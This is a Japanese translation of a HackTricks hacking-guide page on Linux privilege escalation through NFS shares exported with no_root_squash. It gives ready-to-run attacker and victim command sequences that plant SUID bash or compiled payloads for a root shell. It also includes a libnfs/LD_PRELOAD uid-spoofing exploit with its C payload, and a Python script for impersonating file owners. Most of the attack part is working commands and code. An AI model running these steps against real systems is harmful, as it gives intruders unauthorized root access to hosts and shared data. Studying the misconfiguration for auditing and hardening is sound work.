tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報の圧縮
NFSは通常(特にLinuxでは)、ファイルにアクセスするために接続しているクライアントによって示されたuid
とgid
を信頼します(Kerberosが使用されていない場合)。ただし、サーバーでこの動作を変更するために設定できるいくつかの構成があります:
all_squash
: すべてのアクセスを圧縮し、すべてのユーザーとグループを**nobody
**(65534 unsigned / -2 signed)にマッピングします。したがって、すべての人がnobody
となり、ユーザーは使用されません。root_squash
/no_all_squash
: これはLinuxのデフォルトであり、uid 0(root)のアクセスのみを圧縮します。したがって、任意のUID
とGID
は信頼されますが、0
はnobody
に圧縮されるため、rootの偽装は不可能です。no_root_squash
: この構成が有効になっている場合、rootユーザーさえも圧縮されません。これは、この構成でディレクトリをマウントすると、rootとしてアクセスできることを意味します。
/etc/exportsファイルで、no_root_squashとして構成されているディレクトリを見つけた場合、クライアントとしてそれにアクセスし、そのディレクトリの中にローカルのマシンのrootのように書き込むことができます。
NFSに関する詳細情報は、以下を確認してください:
権限昇格
リモートエクスプロイト
オプション1:bashを使用して:
- クライアントマシンでそのディレクトリをマウントし、rootとしてマウントされたフォルダ内に/bin/bash**バイナリをコピーし、SUID権限を与え、被害者マシンからそのbashバイナリを実行します。
- NFS共有内でrootになるためには、**
no_root_squash
**がサーバーで構成されている必要があります。 - ただし、有効になっていない場合は、バイナリをNFS共有にコピーし、昇格したいユーザーとしてSUID権限を与えることで、他のユーザーに昇格することができます。
#Attacker, as root user
mkdir /tmp/pe
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /bin/bash .
chmod +s bash
#Victim
cd <SHAREDD_FOLDER>
./bash -p #ROOT shell
Option 2 using c compiled code:
- クライアントマシンでそのディレクトリをマウントし、ルートとしてマウントされたフォルダ内にSUID権限を悪用するコンパイル済みペイロードをコピーし、SUID権限を与え、被害者マシンからそのバイナリを実行します(ここにいくつかのC SUIDペイロードがあります)。
- 前と同じ制限が適用されます。
#Attacker, as root user
gcc payload.c -o payload
mkdir /tmp/pe
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /tmp/payload .
chmod +s payload
#Victim
cd <SHAREDD_FOLDER>
./payload #ROOT shell
ローカルエクスプロイト
note
あなたのマシンから被害者のマシンへのトンネルを作成できる場合、リモートバージョンを使用してこの特権昇格を悪用することができます。
次のトリックは、ファイル/etc/exports
がIPを示している場合に関するものです。この場合、リモートエクスプロイトを使用することはできず、このトリックを悪用する必要があります。
エクスプロイトが機能するためのもう一つの要件は、/etc/export
内のエクスポートがinsecure
フラグを使用している必要があることです。
--/etc/export
がIPアドレスを示している場合、このトリックが機能するかどうかはわかりません--
基本情報
このシナリオは、ローカルマシン上のマウントされたNFS共有を悪用し、クライアントがuid/gidを指定できるNFSv3仕様の欠陥を利用して、無許可のアクセスを可能にするものです。悪用には、NFS RPCコールの偽造を可能にするライブラリlibnfsを使用します。
ライブラリのコンパイル
ライブラリのコンパイル手順は、カーネルバージョンに基づいて調整が必要な場合があります。この特定のケースでは、fallocateシステムコールがコメントアウトされていました。コンパイルプロセスには、次のコマンドが含まれます:
./bootstrap
./configure
make
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/
攻撃の実行
攻撃は、特権をルートに昇格させ、その後シェルを実行するシンプルなCプログラム(pwn.c
)を作成することを含みます。プログラムはコンパイルされ、結果として得られたバイナリ(a.out
)は、RPC呼び出しでuidを偽装するためにld_nfs.so
を使用して、suid rootで共有に配置されます。
- 攻撃コードをコンパイルする:
cat pwn.c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.out
- 共有にエクスプロイトを配置し、uidを偽装してその権限を変更する:
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
- エクスプロイトを実行してルート権限を取得する:
/mnt/share/a.out
#root
ボーナス: NFShellによるステルスファイルアクセス
rootアクセスが取得されると、所有権を変更せずにNFS共有と対話するために、Pythonスクリプト(nfsh.py)が使用されます。このスクリプトは、アクセスされるファイルのuidに一致するようにuidを調整し、権限の問題なしに共有上のファイルと対話できるようにします:
#!/usr/bin/env python
# script from https://www.errno.fr/nfs_privesc.html
import sys
import os
def get_file_uid(filepath):
try:
uid = os.stat(filepath).st_uid
except OSError as e:
return get_file_uid(os.path.dirname(filepath))
return uid
filepath = sys.argv[-1]
uid = get_file_uid(filepath)
os.setreuid(uid, uid)
os.system(' '.join(sys.argv[1:]))
実行するには:
# ll ./mount/
drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。